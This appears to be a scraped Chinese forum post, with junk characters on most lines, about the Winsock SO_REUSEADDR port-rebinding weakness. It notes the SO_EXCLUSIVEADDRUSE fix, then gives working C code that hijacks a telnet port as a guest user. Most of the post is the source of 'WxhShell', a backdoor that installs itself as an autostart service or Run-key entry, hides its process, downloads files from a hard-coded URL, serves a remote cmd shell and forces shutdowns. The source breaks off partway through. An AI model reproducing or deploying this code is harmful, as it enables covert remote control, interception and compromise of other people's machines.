在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
#$W5)6ch s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?rOj?J9 E\D,=|Mul saddr.sin_family = AF_INET;
Zo2+{a (!fx5&F saddr.sin_addr.s_addr = htonl(INADDR_ANY);
\Ebh6SRp\ b|AjB: G bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
'sZGLgT;m o}r_+\n 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!IR
cv
a _}[WX[Le{ 这意味着什么?意味着可以进行如下的攻击:
AsE77AUA k5K5OpY 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$H+X'1 ,X3D<wl 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
3A^AEO kkZ}&OXS; 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
L@O>;zp; 5nib<B%<V 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
BC!) g+8 0B8Wf/j?M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
<b"^\]l ngZq]8=o 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
KgM|:' <k8WnA ~Fl 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
T+T)~!{% F1BvDplQ>G #include
]d(Z% #include
Vq0X:<9 #include
F_:Wu,dUZ #include
N<SW
$ o DWORD WINAPI ClientThread(LPVOID lpParam);
=XQGg`8<LB int main()
j_,/U^Ws|f {
.X3n9] WORD wVersionRequested;
=_=%1rI~ DWORD ret;
v\bWQs1 WSADATA wsaData;
%Y0lMNP BOOL val;
7Ku&Q<mi SOCKADDR_IN saddr;
1v:Ql\^cT SOCKADDR_IN scaddr;
rPy,PQG2w int err;
6t7FklM% SOCKET s;
">=E p+ix SOCKET sc;
ZFMO;'m& int caddsize;
r&xIVFPI[ HANDLE mt;
O1jiD_Y!9 DWORD tid;
x7e0& wVersionRequested = MAKEWORD( 2, 2 );
F^{31iU~CX err = WSAStartup( wVersionRequested, &wsaData );
zf)*W#+ if ( err != 0 ) {
e=h-}XRC printf("error!WSAStartup failed!\n");
'%/=\Q` return -1;
-cU bIbW }
*2/qm:gB saddr.sin_family = AF_INET;
tt-ci,X+ MzB.Vvsy%9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
<LH6my \YJQN3^46> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
vbJdhaf saddr.sin_port = htons(23);
tH; 6Mp;f if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%`pi*/( {
^!
h3#4 printf("error!socket failed!\n");
o% Q7 el$f return -1;
+pSo(e( }
!otseI!!/ val = TRUE;
>a*dI_XE //SO_REUSEADDR选项就是可以实现端口重绑定的
8>j&) @q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
oMAUR
" {
6@lZVM)E printf("error!setsockopt failed!\n");
VTR4uT- return -1;
v(0ujfSR0 }
au19Q*r9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Xk!{UxQKQ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
=#4>c8MM //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
%x,HQNRDU 1O,5bi>t7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
4E=QO!pVv {
Chl^LEN: ret=GetLastError();
dY.X/f printf("error!bind failed!\n");
9ec?L return -1;
?A\+s,9 }
bbS,pid1 listen(s,2);
NApy(e5% while(1)
IHCxM|/k(M {
LtwfL^ # caddsize = sizeof(scaddr);
88:YU4:l`N //接受连接请求
+MHIZI sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*ze/$vz- if(sc!=INVALID_SOCKET)
8(-
29 {
4 5wqX h mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
_~tF2`,Y_p if(mt==NULL)
dpchZ{ {
fup?Mg- printf("Thread Creat Failed!\n");
Pbbi*&i break;
=3% GLj }
3%Q<K=jy }
6&<QjO CloseHandle(mt);
Ok)f5")N % }
z@ZI$.w closesocket(s);
J"h2"$v, WSACleanup();
7gOu|t return 0;
1Hhr6T^) }
uj\&-9gEi DWORD WINAPI ClientThread(LPVOID lpParam)
4VvE(f {
Y5ei:r|^ SOCKET ss = (SOCKET)lpParam;
cGo_qR/B(> SOCKET sc;
hFtjw6 unsigned char buf[4096];
n|T$3j) SOCKADDR_IN saddr;
yYe>a^r4R long num;
y+$vHnS/jC DWORD val;
d14@G4#Bd DWORD ret;
)@U~Li/+ //如果是隐藏端口应用的话,可以在此处加一些判断
/g%RIzgW //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
90F.9rh saddr.sin_family = AF_INET;
/Dc54Un saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
?HOnDw.v1 saddr.sin_port = htons(23);
U7/
=|Z if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
SR.xI:}4 {
Nf* .r printf("error!socket failed!\n");
D|$0~1y return -1;
F@ pf._c }
K&{ _s val = 100;
|;aZi?Ek[ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
"ivVIq2 {
t:oq't ret = GetLastError();
BINHCZ return -1;
Hr] }
FmF[S&gFRs if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#~m^RoE {
Exv!!0Cd^ ret = GetLastError();
~ [/jk !G return -1;
WC_U'nTu4 }
u f<%!=e if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
W:j9 KhvT {
F#Pn] printf("error!socket connect failed!\n");
I5[@C<b closesocket(sc);
Je"XIhBr closesocket(ss);
:qR8 e J return -1;
N|"q6M!ZL }
|FaK=e while(1)
E.N>,N {
s)3CosU //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
2|1CGHj\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
`B8`<3k/( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
<jFov`^ num = recv(ss,buf,4096,0);
]RadwH"0! if(num>0)
.*595SuF send(sc,buf,num,0);
h<'tQGC else if(num==0)
Kx[+$Qt break;
w .M num = recv(sc,buf,4096,0);
i*4v!(E if(num>0)
hWn-[w/l_ send(ss,buf,num,0);
\%]lsml else if(num==0)
S}Z@g break;
6v}q @z }
41.xi9V2 closesocket(ss);
X?u=R)uG closesocket(sc);
Je^;[^ return 0 ;
FW3E UC)P }
Xfb-<
Q0A 8In~qf I3Z\]BI ==========================================================
@3b @]l5 8{icY|:MTN 下边附上一个代码,,WXhSHELL
9&kPcFX B ^* y1Fn0 ==========================================================
pfl^GgP# XfIsf9 #include "stdafx.h"
hCX/k<}I ?mVSc/ #include <stdio.h>
Gf~^Xv!T #include <string.h>
o?= &kx #include <windows.h>
=kOo( #include <winsock2.h>
Mxd7X<\$ #include <winsvc.h>
Z;R/!Py. #include <urlmon.h>
0Nk!.gY !-SI &qy #pragma comment (lib, "Ws2_32.lib")
?caHS2%?ae #pragma comment (lib, "urlmon.lib")
Kxh WZ3 UpQda`rb #define MAX_USER 100 // 最大客户端连接数
g^=Ruh+ #define BUF_SOCK 200 // sock buffer
Ya<V@qd #define KEY_BUFF 255 // 输入 buffer
,k@iNid 7''iT{-[p #define REBOOT 0 // 重启
c&<Ei1 #define SHUTDOWN 1 // 关机
D^t:R?+ l\m7~ #define DEF_PORT 5000 // 监听端口
YiL^KK K1;b4Sl?A #define REG_LEN 16 // 注册表键长度
hv|-`}#0
#define SVC_LEN 80 // NT服务名长度
NUh%\{ )#? K2E // 从dll定义API
/
U~yYh typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
o~xGE 6A*" typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
~Kt+j typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4]
u\5K- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
jQfnc:' BoARM{m // wxhshell配置信息
80gOh: struct WSCFG {
yS?5&oMl int ws_port; // 监听端口
=
~*Vfx char ws_passstr[REG_LEN]; // 口令
u<Ch]m+ int ws_autoins; // 安装标记, 1=yes 0=no
"r@G V5ED char ws_regname[REG_LEN]; // 注册表键名
$RC)e7 char ws_svcname[REG_LEN]; // 服务名
-\Z`+k Y?p char ws_svcdisp[SVC_LEN]; // 服务显示名
Qo(<>d char ws_svcdesc[SVC_LEN]; // 服务描述信息
c|iTRco char ws_passmsg[SVC_LEN]; // 密码输入提示信息
11 A$#\, int ws_downexe; // 下载执行标记, 1=yes 0=no
Z%
`$id char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
kcNPdc char ws_filenam[SVC_LEN]; // 下载后保存的文件名
0uGTc[^^M cp`ZeLz2^ };
$(yi+v rNke&z:%X_ // default Wxhshell configuration
@!!5el { struct WSCFG wscfg={DEF_PORT,
\^'-=8<*> "xuhuanlingzhe",
`lbRy($L 1,
(Dba!zSs "Wxhshell",
*u[@C "Wxhshell",
/Ea&Zm "WxhShell Service",
(2RuQgO "Wrsky Windows CmdShell Service",
^%U`|GBZp "Please Input Your Password: ",
+t]Ge
>S 1,
J'I1NeK "
http://www.wrsky.com/wxhshell.exe",
wr>6Go% "Wxhshell.exe"
'OU3-K };
:$XlYJrjK -<u_fv // 消息定义模块
gEgd/Le char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yZmeke)_ char *msg_ws_prompt="\n\r? for help\n\r#>";
6OtNWbB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
*m'&<pg]X char *msg_ws_ext="\n\rExit.";
?|Wxqo char *msg_ws_end="\n\rQuit.";
AJoP3Zv|? char *msg_ws_boot="\n\rReboot...";
h54\
\Ci char *msg_ws_poff="\n\rShutdown...";
9'vf2) " char *msg_ws_down="\n\rSave to ";
oy=ej+: +R8dy char *msg_ws_err="\n\rErr!";
16~5 ;u char *msg_ws_ok="\n\rOK!";
xaq/L:I< Q:ql~qew char ExeFile[MAX_PATH];
TyR@3H int nUser = 0;
& TN.6Hm3 HANDLE handles[MAX_USER];
$/E{3aT@F2 int OsIsNt;
b>}
)G7b} iQiXwEAi[ SERVICE_STATUS serviceStatus;
cA90FqUH SERVICE_STATUS_HANDLE hServiceStatusHandle;
#=F{G4d)!= =6qSo
@ // 函数声明
MTbCL53!- int Install(void);
>Gvd?r int Uninstall(void);
kWCxc0 int DownloadFile(char *sURL, SOCKET wsh);
h6:|RGF int Boot(int flag);
M2qor.d void HideProc(void);
P;IM -] int GetOsVer(void);
!H9zd\wc int Wxhshell(SOCKET wsl);
LZJFp@ void TalkWithClient(void *cs);
<yw=+hz[u int CmdShell(SOCKET sock);
,GtN6? int StartFromService(void);
JUq7R%"h6 int StartWxhshell(LPSTR lpCmdLine);
+N|t:8qaf ndvt
$* VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
FaaxfcIfkw VOID WINAPI NTServiceHandler( DWORD fdwControl );
5E${ 8xoC9!xt // 数据结构和表定义
K8v@) SERVICE_TABLE_ENTRY DispatchTable[] =
a,xy38T< {
7?uIl9Vk>( {wscfg.ws_svcname, NTServiceMain},
w:~vfdJ {NULL, NULL}
Ou|kb61zg };
H[?l)nZ} anH ]] // 自我安装
Q 9<i2H int Install(void)
:vE\r#hJ" {
"(p&Oz char svExeFile[MAX_PATH];
1<0Z@D~F HKEY key;
B2)5Z] strcpy(svExeFile,ExeFile);
j:2*hF!E l%
{<+N // 如果是win9x系统,修改注册表设为自启动
d @b ]/ if(!OsIsNt) {
,Mn`kL<F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ai`0Ud,M@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
hdbm8C3 RegCloseKey(key);
Ed#Hilk' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
w6AG:u RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xr^fP~V|)0 RegCloseKey(key);
(w%9?y4Q return 0;
]-w.x]I }
AFWWGz }
Z..s /K{ }
7K24sHw;% else {
c
<X( S [3v&j_ // 如果是NT以上系统,安装为系统服务
y*-D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
)jw!,"_4 if (schSCManager!=0)
yM? jiy {
\?$kpV SC_HANDLE schService = CreateService
c:-n0m'i (
V~QOl=`K: schSCManager,
L,sXJ23. wscfg.ws_svcname,
6 _#C vQ wscfg.ws_svcdisp,
z'Ut9u SERVICE_ALL_ACCESS,
#*+$o<Q]9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
1L4v X SERVICE_AUTO_START,
}x"8v&3CM_ SERVICE_ERROR_NORMAL,
ZP<OyX? svExeFile,
sGGi7% NULL,
)kE1g& NULL,
Bdib)t[ NULL,
~[0^{$rrWs NULL,
f3mQd}<L NULL
}Gd^r );
rxeOT# N} if (schService!=0)
uAV-wc {
bKr73S9 CloseServiceHandle(schService);
0E^S!A7 CloseServiceHandle(schSCManager);
wHs4~"EY9 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
@-O%u*%J strcat(svExeFile,wscfg.ws_svcname);
q)RTy|NJ^ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
z+j3j2 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
/)V8X#, RegCloseKey(key);
I5W#8g!{ return 0;
"]yfx@)_ }
odTIz{9qG }
}t1J`+x% CloseServiceHandle(schSCManager);
E> YE3-] }
KWn. }
;@< e ]Ft _TVKvRh return 1;
GAlM:> }
h?vt6t9 2Jt*s$ // 自我卸载
F2',3 int Uninstall(void)
0G8zFe*p {
H|<Zm:.%$ HKEY key;
bqQR"; h:r:qk if(!OsIsNt) {
f|{&Y2h(R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
awOH50R RegDeleteValue(key,wscfg.ws_regname);
b25C[C5C RegCloseKey(key);
ynZfO2kf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
dK7BjZTJo RegDeleteValue(key,wscfg.ws_regname);
+wm%`N;v< RegCloseKey(key);
`q7X(x return 0;
}IV=qW, }
j$r2=~1 }
8/W2;>?wKc }
mz3Dt> else {
;<BMgO}N 9*? i89T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?Nl@K/ if (schSCManager!=0)
4l_~-Peh {
y2>AbrJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\!4_m8? if (schService!=0)
gLWbd~ {
")3$. '5Dg if(DeleteService(schService)!=0) {
l
!JTM CloseServiceHandle(schService);
)8V=!73 CloseServiceHandle(schSCManager);
~lr,}K, return 0;
n fMU4(: }
'-rRD\"q CloseServiceHandle(schService);
]=(PtzVa }
+?GsIp@>jh CloseServiceHandle(schSCManager);
rpv<'$6 }
byX)4& }
\mNN ) K@ &>vfm9 return 1;
Z
\;{e'#o }
\T^ptj(0 Z<[:v2 // 从指定url下载文件
f
SMy?8 int DownloadFile(char *sURL, SOCKET wsh)
7~nuFJaTI {
0W]vK$\F* HRESULT hr;
x+W,P char seps[]= "/";
&LHS<Nv^: char *token;
/vw$3,*z char *file;
e9rgJJ char myURL[MAX_PATH];
}k_'a^;C1 char myFILE[MAX_PATH];
^NFL3v8 {,e-;2q strcpy(myURL,sURL);
VH<-||X/4 token=strtok(myURL,seps);
.c\iKc# while(token!=NULL)
*Jg&:(#}<J {
(vwKC
D& file=token;
nYy+5u]FG token=strtok(NULL,seps);
r|Q/:UV?w }
1krSX2L e}TDo`q GetCurrentDirectory(MAX_PATH,myFILE);
T}Ve:S strcat(myFILE, "\\");
Up\ k67 strcat(myFILE, file);
+*x9$LSD send(wsh,myFILE,strlen(myFILE),0);
WO[O0!X send(wsh,"...",3,0);
Nt7z
]F ` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@
[%K D if(hr==S_OK)
jh/aK_Q,w return 0;
,7SqRY,+ else
:rEZR ` return 1;
#E4|@}30` PgYIQpV }
E>bpq^;r c2fw;)j&X // 系统电源模块
oe[f2?- int Boot(int flag)
:O]US)VSj {
aJ
J63aJ HANDLE hToken;
oh,29Gg TOKEN_PRIVILEGES tkp;
FA}y"I'W ;.3
{}.Y if(OsIsNt) {
9~4@AGL OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
QNGp+xUHJ9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
kp^q}iS tkp.PrivilegeCount = 1;
7
/XfPF tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
&M6Zsmo AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
u4DrZ-v if(flag==REBOOT) {
R ^@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
?$ M:4mX return 0;
)&93YrHgC }
v>0} v)<v else {
wx_j)Wij6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
- 9a4ej5 return 0;
fxc?+<P }
&A~hM[- }
^#4Ah[:XA else {
Oe lf^&m if(flag==REBOOT) {
<yw56{w, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
XCyr r2^ return 0;
zEi\#Zg$ }
aq- | else {
x pBQ(6Y if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
I !O5+Er return 0;
|cL,$G }
)Kq@ m1>@ }
,91 n I6PReVIb return 1;
'ji|'x T }
oObQN;A@6 xMFEeSzl>S // win9x进程隐藏模块
sCE%./h] void HideProc(void)
)a<MW66 {
{TaYkuWS F[>Y8e<[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
nBwDq^ if ( hKernel != NULL )
f(T`(pX0V {
eQ<Vky^SJ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
%<<JWoB ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
z&CBjlh FreeLibrary(hKernel);
VXl|AA<OG }
`@ 8O|j D7g
B% return;
5),&{k! }
m|Sf'5fK EF'8-* // 获取操作系统版本
JthU'"K int GetOsVer(void)
0 KA@]! {
#dQFs]:F OSVERSIONINFO winfo;
1,+swFSN winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
5aNvGI1 GetVersionEx(&winfo);
Ugme>60`'k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
}4kQu#0o") return 1;
(W?t'J^# else
Z:YgG.z" return 0;
`@{(ijg. }
0/uy'JvWru /q)
H0b // 客户端句柄模块
"G@(Cb*+T int Wxhshell(SOCKET wsl)
"iUh.c=0F, {
Ezr q2/~Q SOCKET wsh;
A0bR.*3 struct sockaddr_in client;
S84S/y DWORD myID;
0{-?Wy #X2wy$GTG while(nUser<MAX_USER)
IUz`\BO4 {
S2>$S^[U int nSize=sizeof(client);
m;!X{CV wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
JA4}Bwn if(wsh==INVALID_SOCKET) return 1;
k}!'@ xXSfYW handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
nX8ulGG s if(handles[nUser]==0)
eo^C[#
. closesocket(wsh);
wV\G$|Y else
uw(Ml= nUser++;
Gh352 }
3gtKD9RL: WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
-B #K}xL|x 1 ]ePU8 return 0;
;7*T6~tv }
yw{r:fy ~zVe?(W // 关闭 socket
l[C_vUg void CloseIt(SOCKET wsh)
TSVlZy~Xo {
gH*(1* closesocket(wsh);
V=8npz nUser--;
J[c`Qq:&e ExitThread(0);
rU|?3x }
G!lF5;Ad` 4RfBXVS // 客户端请求句柄
= BbG2k void TalkWithClient(void *cs)
>ByqM{? {
aLlHR_ @WiTh'w0 SOCKET wsh=(SOCKET)cs;
t<"%m)J char pwd[SVC_LEN];
&"7+k5O char cmd[KEY_BUFF];
$LiBJ~vV< char chr[1];
.yD5>iBh
int i,j;
)a9C3-8Y' POf xN. while (nUser < MAX_USER) {
t#w,G g!OcWy)7 if(wscfg.ws_passstr) {
`26.+>Z7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}KT$J G? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
N%%trlDXD //ZeroMemory(pwd,KEY_BUFF);
E6M*o+Y i=0;
<'\! while(i<SVC_LEN) {
7spZe" 4*HBCzr7[ // 设置超时
&MPlSIg fd_set FdRead;
E<7$!P=z` struct timeval TimeOut;
9Ais)Wy%p FD_ZERO(&FdRead);
2sp4Mm FD_SET(wsh,&FdRead);
>< VUly TimeOut.tv_sec=8;
_&S;*?K. TimeOut.tv_usec=0;
Gte\=0Wr int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
i)$ySlEh if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
| >'q%xK &h_Y?5k K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
t+\<i8 pwd
=chr[0]; }pGjc_:']
if(chr[0]==0xd || chr[0]==0xa) { sE
^YOT<
pwd=0; ^# 4e_&4
break; uc}F|O
} #g'j0N
i++; g:@4/+TSt
} F>GPi!O
[f}`reRlZ
// 如果是非法用户,关闭 socket 5.D0 1?k
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Pq@-`sw
} sL;;'S&
HTMg{_r(%
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #Nad1C/]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VTY # {
1.TIUH1
while(1) { &Pc.[k
/1$u|Gs
*
ZeroMemory(cmd,KEY_BUFF); 7|jy:F,w%
z, FPhbFn
// 自动支持客户端 telnet标准 C](djkA$
j=0; pG'?>]Rt4
while(j<KEY_BUFF) { 2EYWX!Bx
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y*{5'q+2
cmd[j]=chr[0]; 0d1!Q!PH3
if(chr[0]==0xa || chr[0]==0xd) { S!b?pl
cmd[j]=0;
p.b#RY
break; 2
/*z5
} sB$" mJ
j++; _!Pi+l4p/}
} D7muf
H328I}7
// 下载文件 IiJ$Ng
if(strstr(cmd,"http://")) { t=|}?lN<
send(wsh,msg_ws_down,strlen(msg_ws_down),0); gZBKe!@a|
if(DownloadFile(cmd,wsh)) ]7oo`KcQ|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?GqH/
(O
else $yq76
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .}T- R?
} #_UP}G$
else { *ae)<l3v
f2&6NC;
switch(cmd[0]) { 5.DmMG[T^=
2%J] })
// 帮助 R&g&BF
case '?': { h7@%}<%
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RGkV%u^
break; .J8 gW
} 0AF,} &$
// 安装 TBky+]p@
case 'i': { ` N
R,8F
if(Install()) Q7{{r&|t&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); s,kY12<7m
else p=#/H,2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b5I 8jPj4c
break; gm=C0Sp?
} wy{sS}
// 卸载 :ln?PT
case 'r': { R3.w")6
if(Uninstall()) f`_{SU"3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); f9
:=6
else w'XSkI_ay
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {d]B+'
break; :>Qu;Z1P
} )X:Sfk
// 显示 wxhshell 所在路径 og~a*my3
case 'p': { c5:0`~5Fn
char svExeFile[MAX_PATH]; 5rc3jIXc{|
strcpy(svExeFile,"\n\r"); oiC@ /
strcat(svExeFile,ExeFile); !&3"($-U3G
send(wsh,svExeFile,strlen(svExeFile),0); fY?:SPR+
break; EyA(W;r.
} N}<!k#d
E
// 重启 %M/L/_d
case 'b': { U2tgBF?)A
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j]`hy"
if(Boot(REBOOT)) 0>D*d'xLd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F9d6#~
else { "%S-(ue:
closesocket(wsh); VUP.
\Vry
ExitThread(0); VS_\bIC
} q?)5yukeF
break; TU6YS<
} aY;34SF
// 关机 "gzn%k[D9m
case 'd': { vu}U2 0@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !0UfX{.
if(Boot(SHUTDOWN)) 1zw,;m n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 49O_A[(d
else { =<)/lz] H
closesocket(wsh); (l9jczi
ExitThread(0); >Q ^ mR
} %cDDu$9;
break; W$&*i1<a+
} Evqy e;
// 获取shell L; A#N9
case 's': { ^,?>6O
CmdShell(wsh); ="f-I9y
closesocket(wsh); Io>U-Zd\>
ExitThread(0); "}ur"bU1
break; gB+CM?
LKq
} ~E_irzOFP
// 退出 c* ~0R?
case 'x': { *~cNUyd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ux{QYjFE
CloseIt(wsh); ~X %cbFom=
break; 2']0c
z
} qu]a+cYY
// 离开
"*V'
case 'q': { R/Sm
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [u J<]
closesocket(wsh); [D(JEO@ :
WSACleanup(); V$;`#J$\b
exit(1); e6qIC*C !
break; rg#/kd<?[V
} zQt)>Qx_
} (2"4PU8
} -*Qg^1]i+
1=E}X5
// 提示信息 ,?Vxcr
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *UJB*r
} 45iO2W uur
} n<HF]
yp@cn(:~
return; \IzZJGi
} 9$VdYw7D
7lJ8<EP9
u
// shell模块句柄 V~5vR`}
int CmdShell(SOCKET sock) uC#]F@
{ 7~ZG"^k
STARTUPINFO si; SrOv*
D 3
ZeroMemory(&si,sizeof(si)); kkj@!1q(wO
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :B|rs&
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Wf%)::G*uR
PROCESS_INFORMATION ProcessInfo; (Ia:>ocE0
char cmdline[]="cmd"; HM"(cB(n`
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RU=g|TL
return 0; +|K,\
{'U
} xlgT1b:6
N[O_}_
// 自身启动模式 9o6qN1A0g
int StartFromService(void) rXip"uz(K>
{ upJy,|5
typedef struct }v?l0Gk(
{ %?qzP'
DWORD ExitStatus; E)X_
DWORD PebBaseAddress; #>BC|/P}
DWORD AffinityMask; f^5sJ0;%
DWORD BasePriority; Y2N$&]O{
